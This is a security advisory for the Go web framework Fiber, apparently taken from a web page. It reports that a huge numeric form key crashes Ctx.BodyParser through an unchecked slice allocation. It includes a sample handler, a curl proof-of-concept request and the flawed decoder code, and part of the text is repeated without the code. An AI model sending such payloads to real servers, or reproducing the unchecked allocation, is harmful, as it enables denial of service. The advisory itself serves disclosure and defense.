Description
When using Fiber's Ctx.BodyParser
to parse form data containing a large numeric key that represents a slice index (e.g., test.18446744073704
), the application crashes due to an out-of-bounds slice allocation in the underlying schema decoder.
The root cause is that the decoder attempts to allocate a slice of length idx + 1
without validating whether the index is within a safe or reasonable range. If idx
is excessively large, this leads to an integer overflow or memory exhaustion, causing a panic or crash.
Steps to Reproduce
Create a POST request handler that accepts x-www-form-urlencoded
data
package main
import (
"fmt"
"net/http"
"github.com/gofiber/fiber/v2"
)
type RequestBody struct {
NestedContent []*struct{} `form:"test"`
}
func main() {
app := fiber.New()
app.Post("/", func(c *fiber.Ctx) error {
formData := RequestBody{}
if err := c.BodyParser(&formData); err != nil {
fmt.Println(err)
return c.SendStatus(http.StatusUnprocessableEntity)
}
return nil
})
fmt.Println(app.Listen(":3000"))
}
Run the server and send a POST request with a large numeric key in form data, such as:
curl -v -X POST localhost:3000 --data-raw 'test.18446744073704' \
-H 'Content-Type: application/x-www-form-urlencoded'
Relevant Code Snippet
Within the decoder's decode method:
idx := parts[0].index
if v.IsNil() || v.Len() < idx+1 {
value := reflect.MakeSlice(t, idx+1, idx+1) // <-- Panic/crash occurs here when idx is huge
if v.Len() < idx+1 {
reflect.Copy(value, v)
}
v.Set(value)
}
The idx
is not validated before use, leading to unsafe slice allocation for extremely large values.
Impact
- Application panic or crash on malicious or malformed input.
- Potential denial of service (DoS) via memory exhaustion or server crash.
- Lack of defensive checks in the parsing code causes instability.
References
Description
When using Fiber's
Ctx.BodyParser
to parse form data containing a large numeric key that represents a slice index (e.g.,test.18446744073704
), the application crashes due to an out-of-bounds slice allocation in the underlying schema decoder.The root cause is that the decoder attempts to allocate a slice of length
idx + 1
without validating whether the index is within a safe or reasonable range. Ifidx
is excessively large, this leads to an integer overflow or memory exhaustion, causing a panic or crash.Steps to Reproduce
Create a POST request handler that accepts
x-www-form-urlencoded
dataRun the server and send a POST request with a large numeric key in form data, such as:
Relevant Code Snippet
Within the decoder's decode method:
The
idx
is not validated before use, leading to unsafe slice allocation for extremely large values.Impact
References